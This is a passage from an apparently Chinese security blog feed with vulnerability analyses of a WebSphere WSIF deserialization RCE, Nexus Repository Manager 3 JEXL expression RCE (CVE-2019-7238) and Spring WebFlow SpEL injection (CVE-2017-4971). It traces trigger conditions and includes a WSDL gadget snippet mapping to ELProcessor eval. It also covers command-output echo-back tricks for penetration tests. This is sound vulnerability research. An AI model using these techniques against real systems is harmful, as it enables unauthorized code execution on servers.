class="attr">name</span>=<span class="string">"JavaBinding"</span> <span class="attr">type</span>=<span class="string">"tns:RceServicePT"</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">java:binding</span>/&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">format:typeMapping</span> <span class="attr">encoding</span>=<span class="string">"Java"</span> <span class="attr">style</span>=<span class="string">"Java"</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">format:typeMap</span> <span class="attr">typeName</span>=<span class="string">"xsd:string"</span> <span class="attr">formatType</span>=<span class="string">"java.lang.String"</span>/&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">format:typeMap</span> <span class="attr">typeName</span>=<span class="string">"xsd:object"</span> <span class="attr">formatType</span>=<span class="string">"java.lang.Object"</span>/&gt;</span></span><br><span class="line"></span><br><span class="line">  <span class="tag">&lt;/<span class="name">format:typeMapping</span>&gt;</span></span><br><span class="line"></span><br><span class="line">  <span class="tag">&lt;<span class="name">operation</span> <span class="attr">name</span>=<span class="string">"findByPrimaryKey"</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">java:operation</span></span></span><br><span class="line"><span class="tag">                    <span class="attr">methodName</span>=<span class="string">"eval"</span></span></span><br><span class="line"><span class="tag">                    <span class="attr">parameterOrder</span>=<span class="string">"expression"</span></span></span><br><span class="line"><span class="tag">                    <span class="attr">methodType</span>=<span class="string">"instance"</span></span></span><br><span class="line"><span class="tag">                    <span class="attr">returnPart</span>=<span class="string">"result"</span>/&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">input</span> <span class="attr">name</span>=<span class="string">"getExpressionRequest"</span>/&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">output</span> <span class="attr">name</span>=<span class="string">"getExpressionResponse"</span>/&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">operation</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">binding</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">service</span> <span class="attr">name</span>=<span class="string">"rce_service"</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">port</span> <span class="attr">name</span>=<span class="string">"JavaPort"</span> <span class="attr">binding</span>=<span class="string">"tns:JavaBinding"</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">java:address</span> <span class="attr">className</span>=<span class="string">"javax.el.ELProcessor"</span>/&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">port</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">service</span>&gt;</span></span><br></pre></td></tr></table></figure>
<p>而且findByPrimaryKey的参数也是我们在WSIFPort_EJB序列化数据中可以控制的，所以最终就导致了RCE。</p>
<h3 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h3><p>最开始在测试Websphere 8.5.5.0的时候，发现有个关键位置</p>
<p><img src="https://www.iswin.org/attach/8.5.5.0_bug.png" alt="image-20200731125150155"></p>
<p>这里获取到Proxy的代理对象result的时候默认就调用ObjectFactoryHelper.logger.log(Level.FINE, “result = “ + result);方法，这个函数会导致调用Proxy代理对象的toString方法，间接的调用org.apache.wsif.base.WSIFClientProxy#invoke方法，org.apache.wsif.base.WSIFClientProxy#invoke方法中有个非常关键的函数（this.findMatchingOperation(method, args);）会导致EXP利用中断，如下图</p>
<p><img src="https://www.iswin.org/attach/bugs_002.png" alt="image-20200731125517931"></p>
<p>这里要求调用的函数必须是继承接口（EJBHOME）中一个接口，否则程序主动抛异常（Exception in thread “main” java.lang.reflect.UndeclaredThrowableException）EXP就利用失败，这个点遇到的问题卡了我两天左右，最后看到有人复现成功，测试的9版本，所以我就切换到9版本。</p>
<p>在9版本中修复了这个第三方库的BUG，不主动的调用Log，加了if判断，如下</p>
<p>9.0 版本中org.apache.aries.jndi.ObjectFactoryHelper#getObjectInstanceViaContextDotObjectFactories函数的实现</p>
<p><img src="https://www.iswin.org/attach/factory_001.png" alt="image-20200731125956711"></p>
<p>8.5.5.0 中的org.apache.aries.jndi.ObjectFactoryHelper#getObjectInstanceViaContextDotObjectFactories实现</p>
<p><img src="https://www.iswin.org/attach/image-20200731130143041.png" alt="image-20200731130143041"></p>
<p>很明显加了判断，就没这个问题了。</p>
<p>所以8.5.5.0默认情况下有可能打不死（如果不打补丁2013年的那个库之前），9.0.0.2 没问题，其他版本后续慢慢测试。</p>
<p>补个成功截图</p>
<p><img src="https://www.iswin.org/attach/444444.png" alt="image-20200731130504122"></p>
<p><img src="https://www.iswin.org/attach/11111.png" alt="image-20200731130349707"></p>
<p><img src="https://www.iswin.org/attach/2222222.png" alt="image-20200731130407164"></p>
<h3 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h3><ol>
<li><a href="https://www.thezdi.com/blog/2020/7/20/abusing-java-remote-protocols-in-ibm-websphere" target="_blank" rel="noopener">https://www.thezdi.com/blog/2020/7/20/abusing-java-remote-protocols-in-ibm-websphere</a></li>
</ol>
]]></content>
    
    <summary type="html">
    
      &lt;h3 id=&quot;漏洞简介&quot;&gt;&lt;a href=&quot;#漏洞简介&quot; class=&quot;headerlink&quot; title=&quot;漏洞简介&quot;&gt;&lt;/a&gt;漏洞简介&lt;/h3&gt;&lt;blockquote&gt;
&lt;p&gt;7月20号，ZDI官方Blog公布了一个名为&lt;a href=&quot;https://www.thezdi
    
    </summary>
    
      <category term="JAVA" scheme="https://www.iswin.org/categories/JAVA/"/>
    
    
      <category term="JAVA" scheme="https://www.iswin.org/tags/JAVA/"/>
    
      <category term="Deserialize" scheme="https://www.iswin.org/tags/Deserialize/"/>
    
  </entry>
  
  <entry>
    <title>Nexus Repository Manager 3 远程代码执行漏洞 (CVE-2019-7238) 分析及利用</title>
    <link href="https://www.iswin.org/2019/02/16/Nexus-Repository-Manager-3-RCE-CVE-2019-7238-Analysis/"/>
    <id>https://www.iswin.org/2019/02/16/Nexus-Repository-Manager-3-RCE-CVE-2019-7238-Analysis/</id>
    <published>2019-02-16T08:17:41.000Z</published>
    <updated>2019-02-18T08:27:28.840Z</updated>
    
    <content type="html"><![CDATA[<blockquote>
<p>最近1年多基本上都在忙实验室其它的工作，基本上很少关注JAVA安全这块的内容，赶上正好周末休息，加上实验室其它小伙伴对这个漏洞比较关注索性就抽出一点时间跟实验室其它小伙伴一起研究了下，就当学习了，这套系统在一些大型的企业里面其实还是有一定使用量的（尤其是在打点过程中），所以在实战的渗透中还是有一些应用场景的。</p>
</blockquote>
<h2 id="漏洞简介"><a href="#漏洞简介" class="headerlink" title="漏洞简介"></a>漏洞简介</h2><p>这个漏洞在19年2月份左右被腾讯安全云鼎实验室发现并且提交Sonatype官方<a href="https://cloud.tencent.com/developer/article/1390628" target="_blank" rel="noopener">https://cloud.tencent.com/developer/article/1390628</a>，根据官方的通告和云鼎披露来看基本上可以确定该漏洞是未授权的远程代码执行。</p>
<p>经过研究发现该漏洞是一个基于OrientDB自定义函数的任意<a href="https://commons.apache.org/proper/commons-jexl/reference/syntax.html" target="_blank" rel="noopener">JEXL</a>表达式执行漏洞，由于JEXL表达式可以执行JAVA代码同时没有安全上的限制，所以间接的就成了远程代码漏洞，这里注意的是漏洞触发条件对于新搭建的环境来说稍微有一点点坑，不过通过跟踪代码应该可以看出一些规律。</p>
<h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><blockquote>
<p>由于nexus的环境如果直接用源码在idea里面编译跑起来的话有点麻烦，依赖比较多，所以漏洞环境直接利用<a href="https://hub.docker.com/r/sonatype/nexus3/" target="_blank" rel="noopener">docker</a>搭建，然后结合源码<a href="https://github.com/sonatype/nexus-public" target="_blank" rel="noopener">nexus-public</a>使用jdwp进行远程调试即可。</p>
</blockquote>
<p>根据漏洞描述和披露的利用截图，我们很容易定位到漏洞的触发位置，如下图所示</p>
<div align="center"><br><img src="/attach/nexus_previewAssets.png" alt="/attach/nexus_previewAssets.png"><br></div>

<p>根据函数的输入我们可以构造如下数据包进行漏洞流程的跟踪</p>
<div align="center"><br><img src="/attach/nexus_previewAssets_post_data.png" alt="/attach/nexus_previewAssets_post_data.png"><br></div><br>然后在<strong>org.sonatype.nexus.coreui.ComponentComponent#previewAssets</strong>函数出打上断点，跟踪type参数发现nexus支持两种类型的表达式Jexl和Csel（本质上就是Jexl表达式）<br><div align="center"><br><img src="/attach/nexus_previewAssets_expression_type.png" alt="/attach/nexus_previewAssets_expression_type.png"><br></div><br>在最终执行表达式之前这两种表达式会对表达式的内容做校验，主要是以下两个代码片段<br><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">if (type == JexlSelector.TYPE) &#123;</span><br><span class="line">      jexlExpressionValidator.validate(expression)</span><br><span class="line">    &#125;</span><br><span class="line">    else if (type == CselSelector.TYPE) &#123;</span><br><span class="line">      cselExpressionValidator.validate(expression)</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><br><br>其实这个漏洞如果细心的人，在nexus后台界面中会看到有个功能就是通过上述的那个接口，只不过哪里的type是csel，起初我们先跟踪了下csel表达式，但是发现csel表达式在校验的时候做了一些限制，函数位置<strong>org.sonatype.nexus.selector.CselValidator#validate</strong>如下图所示<br><div align="center"><br><img src="/attach/nexus_previewAssets_csel_expression.png" alt="/attach/nexus_previewAssets_csel_expression.png"><br></div><br>如上图红圈标识的地方，在对表达式语法进行检查之后还对表达式中解析后的函数和属性的个数做了限制（大小为2）同时对解析后的内容做了限定，这样一来csel表达式这条路明显走不通了，就只能跟踪jexl表达式了，jexl表达式的校验比较简单，只是对表达式的语法进行了检查，函数位置<strong>org.sonatype.nexus.selector.JexlSelector#JexlSelector</strong>，在表达式最后执行的时候会调用<strong>org.sonatype.nexus.selector.JexlSelector#evaluate</strong>，如下图<br><div align="center"><br><img src="/attach/nexus_previewAssets_jxel_expression.png" alt="/attach/nexus_previewAssets_jxel_expression.png"><br></div><br>到这里表达式校验和流程已经走完了，关于jexl表达式弹计算器随便Google一下就知道了，例如<a href="https://appcheck-ng.com/wp-content/uploads/2018/12/traccar_exploit.v1.py_.txt" target="_blank" rel="noopener">https://appcheck-ng.com/wp-content/uploads/2018/12/traccar<em>exploit.v1.py</em>.txt</a>，如果不去追究那些jexl表达式以及后续执行流程细节的话，如果你运气好或许计算器已经弹出来了。<br><br>但是在万事具备准备弹个计算器的时候，发现死活不行，最后在函数<strong>org.sonatype.nexus.selector.JexlSelector#evaluate</strong>上下断点，发现也断不下来，函数最后压根都没执行到这里，到这里调试了很久，一度让我以为漏洞的触发点找错了，但是在简单回溯之后，发现这个点漏洞触发概率相对较大一点，遂决定深入跟踪分析下表达式后续的执行流程。<br><br>继续断点跟踪，直接跟进<strong>org.sonatype.nexus.repository.browse.internal.BrowseServiceImpl#previewAssets</strong>函数，跟进这个函数我们继续跟踪jexlExpression变量的调用流程，最终我们可以发现表达式会被当做参数然后形成SQL由OrientDb进行执行，如下图<br><div align="center"><br><img src="/attach/nexus_previewAssets_browserimpl.png" alt="/attach/nexus_previewAssets_browserimpl.png"><br><br><img src="/attach/nexus_previewAssets_browserimpl_sqlbuilder.png" alt="/attach/nexus_previewAssets_browserimpl_sqlbuilder.png"><br></div><br>如上图所示，最终生成如下的SQL语句<br><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SELECT FROM asset WHERE (bucket = #24:0 ) AND (contentExpression(@this, &quot;iswin&quot;, &quot;maven-central&quot;, &#123;&quot;maven-central&quot;: [&quot;maven-central&quot;]&#125;) == true ) SKIP 0 LIMIT 300</span><br></pre></td></tr></table></figure><br><br>到这里我们基本上确定了表达式最后是有OrientDB进行执行了，这里的contentExpression就是OrientDB的函数，Google搜索了一下发现contentExpression函数并不是OrientDB的内置函数，那么这个函数应该是nexus自定义的，关于OrientDB的内置函数以及自定义函数可以参考官方文档<a href="https://orientdb.com/docs/last/SQL-Functions.html" target="_blank" rel="noopener">https://orientdb.com/docs/last/SQL-Functions.html</a>，到这里漏洞触发的整个流程都清楚了，但是依然触发不了，根据OrientDB自定义函数的例子，我们可以找到contentExpression函数最终的JAVA代码实现类位置<strong>org.sonatype.nexus.repository.selector.internal.ContentExpressionFunction</strong>，从流程上来看，最终的函数执行如下图所示<br><div align="center"><br><img src="/attach/nexus_previewAssets_sql_function_execute.png" alt="/attach/nexus_previewAssets_sql_function_execute.png"><br></div><br>到这里理论上的函数调用流程已经梳理完了，但是依然触发不了，这里我们就需要考虑下是不是SQL语句的执行流程上出现了问题，回到SQL语句本身，如下所示<br><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SELECT count(*) FROM asset WHERE (bucket = #24:0 ) AND (contentExpression(@this, &quot;iswin&quot;, &quot;maven-central&quot;, &#123;&quot;maven-central&quot;: [&quot;maven-central&quot;]&#125;) == true )</span><br></pre></td></tr></table></figure><br><br>当时看到这个语句的时候，我就在想这个语句的执行流程到底是怎么样的？是先执行<strong>SELECT count(*) FROM asset WHERE (bucket = #24:0 )</strong>这个语句还是说先执行AND后面的contentExpression函数，如果是先执行<strong>SELECT FROM  WHERE</strong>，那么会不会是由于这个语句执行完成之后没有结果导致了contentExpression函数没有被执行，如果是这样那么就简单了，先登录后台随便在仓库里面传一个文件，这样确保了<strong>SELECT count(*) FROM asset WHERE (bucket = #24:0 )</strong>语句有结果返回，发送如下图的Payload，成功触发<br><div align="center"><br><img src="/attach/nexus_previewAssets_exploit_success.png" alt="/attach/nexus_previewAssets_exploit_success.png"><br></div><br>至于OrientDB对语句的执行流程和函数的执行流程，有兴趣的同学可以在以下截个函数上下断点<strong>com.orientechnologies.orient.core.sql.OCommandExecutorSQLSelect#executeSearch</strong>、<strong>com.orientechnologies.orient.core.sql.OCommandExecutorSQLSelect#searchInClasses(1017行)</strong>，决定是否去执行contentExpression函数的关键点在于<strong>com.orientechnologies.orient.core.sql.OCommandExecutorSQLSelect#executeSearch</strong>函数中target变量是否为null，当target变量不为null的时候才回去执行fetchFromTarget(target)函数从而去触发OrientDB的自定义函数，如下图<br><div align="center"><br><img src="/attach/nexus_previewAssets_trigger_function.png" alt="/attach/nexus_previewAssets_trigger_function.png"><br></div>

<p>这里就引出了我开篇说道到的在调试的时候一个坑，也反映了漏洞触发的前置条件，即确保被攻击系统仓库中有项目（当然这个要求大部分都能满足，但是对于搭漏洞环境调试人员来说的确非常坑）。</p>
<h2 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h2><p>当然了如果只是纯分析这个漏洞，那么上面已经花了大量时间来说了，那么这里主要讨论下在实际攻防环境下的利用，一般情况下我们大部分的攻击环境分为两种，一种是被攻击机机器能出网，另外一种是不能出网的情况。</p>
<p>针对出网的环境我们可以直接弹个SHELL，然后就搞定了，这里我们主要讨论不能出网的环境，针对<strong>不能出网</strong>的环境环境主要有一下两种利用办法（当然还有其他的奇技淫巧，这里不做讨论）</p>
<ol>
<li><strong>写WEBSHELL文件</strong></li>
<li><strong>执行命令（需要回显）</strong></li>
</ol>
<p>在这里针对nexus系统来说，且不说能不能解析jsp或者jspx脚本，但凡能写目录都是root权限（docker环境，其它实际部署环境没考证），但是漏洞执行的点为nexus权限，所以写shell基本上没戏，况且nexus不能解析脚本文件，那么现在重点就讨论该漏洞如何回显的问题。</p>
<p>这里就来讨论下针对JAVA WEB系统存在远程代码执行时，如何进行回显的问题，这类的系统例如Struts2、反序列化漏洞等，那么针对表达式类的代码执行，无非就以下几种主流的方法</p>
<ol>
<li><strong>获取到HTTP请求Reponse的对象，然后获取输出流然输出</strong></li>
<li><strong>利用异常机制进行报错回显（最早在我们内部Weblogic、Websphere等反序列漏洞的回显就是基于此原理）</strong></li>
<li><strong>通过命令执行把结果放到WEB目录（比如TXT，针对脚本不能解析的情况，例如Jeecms的漏洞）</strong></li>
</ol>
<p>当然对于nexus系统来说2、3明显是不可行的，那么对于1这种方案到底行不行，一开始的时候我经过一番探索，发现这种环境下回显是不可能的，主要在于jexl表达式的类加载器无法加载到Servlet相关的类，我通过主动类加载的方式加载了相关类，同时我也找到了一个类提供了一个静态方法获取request和response，函数位置<strong>com.softwarementors.extjs.djn.servlet.ssm.WebContextManager.get()</strong>，但是一直获取到的是null，所以这种方法就放弃了。</p>
<p>从另外一个维度来考虑下JAVA中间件（jetty）是怎么处理请求的，针对每个请求中间件会单启动一个线程来处理，针对这个请求的参数之类的会绑定到当前线程上，这里我做了个实验，如下图所示</p>
<div align="center"><br><img src="/attach/nexus_previewAssets_exploit_threadid_webapp.png" alt="/attach/nexus_previewAssets_exploit_threadid_webapp.png"><br><br><img src="/attach/nexus_previewAssets_exploit_threadid_jexl.png" alt="/attach/nexus_previewAssets_exploit_threadid_jexl.png"><br></div><br>这里会发现在nexus的程序中jexl的表达式的线程和webapp的线程是同一个线程，那么这里在jexl表达式中就有可能获取到webapp请求中的一些变量，这里思路已经说完了，至于怎么去获取response对象，这里直接给出提示，可以直接Debug跟踪类java.lang.Thread中threadLocals变量，至于怎么实现回显，仁者见仁智者见智了，大家可以去调试下。<br><br>这里给出最终的利用截图<br><div align="center"><br><img src="/attach/nexus_previewAssets_exploit_echo.png" alt="/attach/nexus_previewAssets_exploit_echo.png"><br></div>

<h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><ol>
<li><a href="https://cloud.tencent.com/developer/article/1390628" target="_blank" rel="noopener">https://cloud.tencent.com/developer/article/1390628</a></li>
<li><a href="https://orientdb.com/docs/last/SQL-Functions.html" target="_blank" rel="noopener">https://orientdb.com/docs/last/SQL-Functions.html</a></li>
</ol>
]]></content>
    
    <summary type="html">
    
      &lt;blockquote&gt;
&lt;p&gt;最近1年多基本上都在忙实验室其它的工作，基本上很少关注JAVA安全这块的内容，赶上正好周末休息，加上实验室其它小伙伴对这个漏洞比较关注索性就抽出一点时间跟实验室其它小伙伴一起研究了下，就当学习了，这套系统在一些大型的企业里面其实还是有一定使用量的（
    
    </summary>
    
      <category term="JAVA" scheme="https://www.iswin.org/categories/JAVA/"/>
    
    
      <category term="JAVA" scheme="https://www.iswin.org/tags/JAVA/"/>
    
      <category term="RCE" scheme="https://www.iswin.org/tags/RCE/"/>
    
  </entry>
  
  <entry>
    <title>Spring WebFlow 远程代码执行漏洞分析(CVE-2017-4971)</title>
    <link href="https://www.iswin.org/2017/06/11/CVE-2017-4971-Spring-WebFlow-RCE-Analysis/"/>
    <id>https://www.iswin.org/2017/06/11/CVE-2017-4971-Spring-WebFlow-RCE-Analysis/</id>
    <published>2017-06-11T06:39:36.000Z</published>
    <updated>2017-10-10T05:41:57.217Z</updated>
    
    <content type="html"><![CDATA[<blockquote>
<p>Spring严重的漏洞历来都不算多，之前比较严重的那个问题是Spring的JavaBean的自动绑定功能，导致可以控制class，从而导致可以利用某些特性执行任意代码，但是那个漏洞比较鸡肋，不是每次都能触发。</p>
<p>由于Spring的框架越来越多，而且后面引入了SpringEl作为默认的表达式解析方式，所以一旦引入了类似于OGNL的表达式，很可能会带来一些安全问题，本次漏洞就是由于Spring WebFlow的数据绑定问题带来的表达式注入，从而导致任意代码执行。</p>
</blockquote>
<h2 id="广告"><a href="#广告" class="headerlink" title="广告"></a>广告</h2><p>为了更好的和广大安全爱好者交流，我们搭建了个交流社区，社区主要聚焦在威胁发现以及安全数据分析等领域，我们希望有更多的朋友能加入，能一起分析知识、共同进步。<br>社区地址：<a href="https://threathunter.org/" target="_blank" rel="noopener">https://threathunter.org/</a>，<br>感谢大家支持。</p>
<p>注：本文章同步发送到社区，有问题欢迎大家到社区讨论。</p>
<h2 id="漏洞简介"><a href="#漏洞简介" class="headerlink" title="漏洞简介"></a>漏洞简介</h2><p>这个漏洞在今年6月初刚被提交<a href="https://pivotal.io/security/cve-2017-4971" target="_blank" rel="noopener">https://pivotal.io/security/cve-2017-4971</a>，官方并没有详细的信息，通过官方描述和补丁的对比，我们可以大致推断应该是Spring WebFlow在Model的数据绑定上面，由于没有明确指定相关model的具体属性导致从表单可以提交恶意的表达式从而被执行，导致任意代码执行的漏洞，这个漏洞利用除了版本的限制之外还有两个前置条件，这两个前置条件中有一个是默认配置，另外一个就是编码规范了，漏洞能不能利用成功主要就取决于后面的条件。</p>
<p>整体来说这个漏洞危害应该还是有一些的，如果满足2个前置条件，那么直接RCE是没什么问题的。在分析这个漏洞之前需要一些Spring Webflow的基础知识，给大家推荐这篇文章<a href="https://www.ibm.com/developerworks/cn/education/java/j-spring-webflow/index.html" target="_blank" rel="noopener">https://www.ibm.com/developerworks/cn/education/java/j-spring-webflow/index.html</a>。</p>
<h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><p>一开始我也不清楚这个漏洞到底是怎么触发，对于这个漏洞的理解，最好去看下Spring WebFlow的教程，搞明白里面的view-state是啥，这里不过多对Spring WebFlow的基础知识过多解释，那么我们直接看补丁，如下图</p>
<div align="center"><br><img src="https://www.iswin.org//attach/springwebflow-patch-01.png" alt="https://www.iswin.org//attach/springwebflow-patch-01.png"><br></div><br>我们发现这里对 <strong><em>addEmptyValueMapping(DefaultMapper mapper, String field, Object model)</em></strong> 这个方法里面表达式解析的实现类进行了替换，直接使用了BeanWrapperExpressionParser来解析，关于这个类我们后面再详细说，那么知道触发漏洞的函数后，我们就可以用Eclipse或者Spring Tools来跟踪下函数调用栈，具体如下：<br><div align="center"><br><img src="https://www.iswin.org//attach/springwebflow-callstack-01.png" alt="https://www.iswin.org//attach/springwebflow-callstack-01.png"><br></div><br>通过调用关系我们可以发现一共有一下两个函数调用了addEmptyValueMapping方法<br><br>+ addDefaultMappings(DefaultMapper mapper, Set<string> parameterNames, Object model)<br>+ addModelBindings(DefaultMapper mapper, Set<string> parameterNames, Object model)<br><br>这里通过调用关系我们可以大概的搞明白Spring WebFlow的执行顺序和流程，由flowcontroller决定将请求交给那个handler去执行具体的流程，这里我们需要知道当用户请求有视图状态处理时，会决定当前事件下一个执行的流程，同时对于配置文件中我们配置的view-state元素，如果我们指定了数据的model，那么它会自动进行数据绑定，xml结构如下(这里以官方的example中的book项目为例子)<br><div align="center"><br><img src="https://www.iswin.org//attach/springwebflow-view-state-01.png" alt="https://www.iswin.org//attach/springwebflow-view-state-01.png"><br></div>

<p>言归正传，本次漏洞出现的原因就是在view-state节点中数据绑定上，我们继续跟踪addEmptyValueMapping方法的调用过程，这里通过eclipse我们可以发现bind方法间接的调用了addEmptyValueMapping函数，</p>
<div align="center"><br><img src="https://www.iswin.org//attach/springwebflow-data-bind-01.png" alt="https://www.iswin.org//attach/springwebflow-data-bind-01.png"><br></div>

<p>到这里我们知道了addEmptyValueMapping函数存在表达式执行的点，我们现在来详细看下这个addEmptyValueMapping函数，如下图</p>
<div align="center"><br><img src="https://www.iswin.org//attach/springwebflow-addEmptyValueMapping-detail.png" alt="https://www.iswin.org//attach/springwebflow-addEmptyValueMapping-detail.png"><br></div>

<p>这里我们可以看见，只有控制了field参数才能出发漏洞，所以我们重点是找到有没有点我们可以控制从而控制field参数来进行任意代码执行，这里明确目标后，我们回过头来看addDefaultMappings和addModelBindings这两个函数，既然这两个函数都调用了存在缺陷的函数，那么我们看看这两个函数的区别是什么，而且那个函数能能能控制field参数，两个函数的区别如下</p>
<div align="center"><br><img src="https://www.iswin.org//attach/springflow-addDefaultMappings-01.png" alt="https://www.iswin.org//attach/springflow-addDefaultMappings-01.png"><br><img src="https://www.iswin.org//attach/springflow-addModelBindings-01.png" alt="https://www.iswin.org//attach/springflow-addModelBindings-01.png"><br></div><br>这里比较明显的区别就是addModelBindings函数中 <code>for (Binding binding : binderConfiguration.getBindings())</code> 存在这样一个循环，而且就是这个循环的控制决定了field参数的值，经过进一步分析，这里控制field的参数的决定性因素就是binderConfiguration这个变量所控制的值，这里经过源码的跟踪我们可以发现，binderConfiguration函数的值就是webflow-*.xml中view-state中binder节点的配置，所以这个函数的值来源于配置文件，所以这个函数我们无法控制，从而无法触发漏洞，所以我们重点来看看addDefaultMappings这个函数，我们发现addDefaultMappings中我们可以控制field参数，所以我们重点来看看如何去触发这个函数。<br><br>现在我们基本上可以确定了addDefaultMappings函数是我们触发漏洞的关键点，那么如上图所示，bing函数中调用了这两个函数，那么我们可以看出只有当binderConfiguration为空的时候才能触发我们的漏洞，那么我们刚才也说了binderConfiguration这个值是由配置文件中是否有binder节点来控制的（这里需要注意的是程序执行到bind方法的前置条件是view-state节点中是否配置了model属性，即绑定的javabean对象是什么），而且addDefaultMappings函数中parameterNames参数就是我们从表单中传递的值，所以到这里漏洞的触发流程和触发条件基本上清楚了，触发条件如下：<br><br> + 在webflow配置文件中view-state节点中指定了model属性，并且没有指定绑定的参数，即view-state中没有配置binder节点<br> + 而且MvcViewFactoryCreator类中useSpringBeanBinding默认值（false）未修改<br><br>这里为什么一定要useSpringBeanBinding的值为false，我们来看一下addEmptyValueMapping函数，这里的expressionParser变量的声明类是ExpressionParser接口，那么决定最后 <code>expressionParser.parseExpression(field, parserContext)</code>这个函数来执行任意表达式是这个变量的赋值，那么在spring webflow中这个expressionParser的默认值就是WebFlowELExpressionParser的实例，这个类表达式默认的解析是有spel来执行的，具体可以去跟踪函数，那么在org.springframework.webflow.mvc.builder.MvcViewFactoryCreator.createViewFactory(Expression, ExpressionParser, ConversionService, BinderConfiguration, Validator, ValidationHintResolver)这个类如下图<br><div align="center"><br><img src="https://www.iswin.org//attach/springwebflow-createviewfactory.png" alt="https://www.iswin.org//attach/springwebflow-createviewfactory.png"><br></div><br>我们可以看见如果useSpringBeanBinding这个属性为false那么久使用默认的解析类，如果这个值为true就由BeanWrapperExpressionParser这个类来解析，这个类的parseExpression函数我们来看看<br><div align="center"><br><img src="https://www.iswin.org//attach/springwebflow-BeanWrapperExpressionParser.png" alt="https://www.iswin.org//attach/springwebflow-BeanWrapperExpressionParser.png"><br></div><br>首先决定了能不能执行的第一个控制变量是allowDelimitedEvalExpressions，这个默认值是false，所以这里是执行不了表达式的。<br>所以这里必须满足useSpringBeanBinding这个默认值不被改变。<br><br>这里需要注意一点，我们构造的恶意参数名称必须以_开头，具体原因看addDefaultMappings函数中的fieldMarkerPrefix变量。<br><br>OK，到这里漏洞的触发条件和流程已经很明确了，下面说说具体怎么利用。<br><br>## 漏洞利用<br><br>这次漏洞测试是以Spring Webflow官方的Example中的例子来进行，因为这里的某个flow满足我们的条件，具体配置如下：<br><div align="center"><br><img src="https://www.iswin.org//attach/springflow-poc-2.png" alt="https://www.iswin.org//attach/springflow-poc-2.png"><br></div>

<p>项目地址<a href="https://github.com/spring-projects/spring-webflow-samples/tree/master/booking-mvc" target="_blank" rel="noopener">https://github.com/spring-projects/spring-webflow-samples/tree/master/booking-mvc</a>，这里在测试时需要注意修改org.springframework.webflow.samples.booking.config.WebFlowConfig.mvcViewFactoryCreator()方法中的改成 <code>factoryCreator.setUseSpringBeanBinding(false);</code> 因为这个工程修改了useSpringBeanBinding的默认值。</p>
<p>这里直接到订阅图书，上图说了在reviewBooking flow中就能出发，如下图</p>
<div align="center"><br><img src="https://www.iswin.org//attach/springwebflow-poc-1.png" alt="https://www.iswin.org//attach/springwebflow-poc-1.png"><br></div>

<p>点击confirm，然后抓包添加恶意参数变量，如下图</p>
<div align="center"><br><img src="https://www.iswin.org//attach/springwebflow-poc-poc.png" alt="https://www.iswin.org//attach/springwebflow-poc-poc.png"><br></div>

<p>OK，大功告成。</p>
<h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><p>[1] :<a href="https://pivotal.io/security/cve-2017-4971" target="_blank" rel="noopener">https://pivotal.io/security/cve-2017-4971</a><br>[2] :<a href="https://www.ibm.com/developerworks/cn/education/java/j-spring-webflow/index.html" target="_blank" rel="noopener">https://www.ibm.com/developerworks/cn/education/java/j-spring-webflow/index.html</a></p>
</string></string>]]></content>
    
    <summary type="html">
    
      &lt;blockquote&gt;
&lt;p&gt;Spring严重的漏洞历来都不算多，之前比较严重的那个问题是Spring的JavaBean的自动绑定功能，导致可以控制class，从而导致可以利用某些特性执行任意代码，但是那个漏洞比较鸡肋，不是每次都能触发。&lt;/p&gt;
&lt;p&gt;由于Spring的框架越
    
    </summary>
    
      <category term="JAVA" scheme="https://www.iswin.org/categories/JAVA/"/>
    
    
      <category term="JAVA" scheme="https://www.iswin.org/tags/JAVA/"/>
    
      <category term="Spring" scheme="https://www.iswin.org/tags/Spring/"/>
    
  </entry>
  
  <entry>
    <title>Jenkins-LDAP (CVE-2016-9299) 反序列化漏洞分析</title>
    <link href="https://www.iswin.org/2017/01/25/Jenkins-LDAP-Deserializable-Vulnerablity-CVE-2016-9299-Analysis/"/>
    <id>https://www.iswin.org/2017/01/25/Jenkins-LDAP-Deserializable-Vulnerablity-CVE-2016-9299-Analysis/</id>
    <published>2017-01-24T16:12:17.000Z</published>
    <updated>2017-01-28T17:03:56.000Z</updated>
    
    <content type="html"><![CDATA[<blockquote>
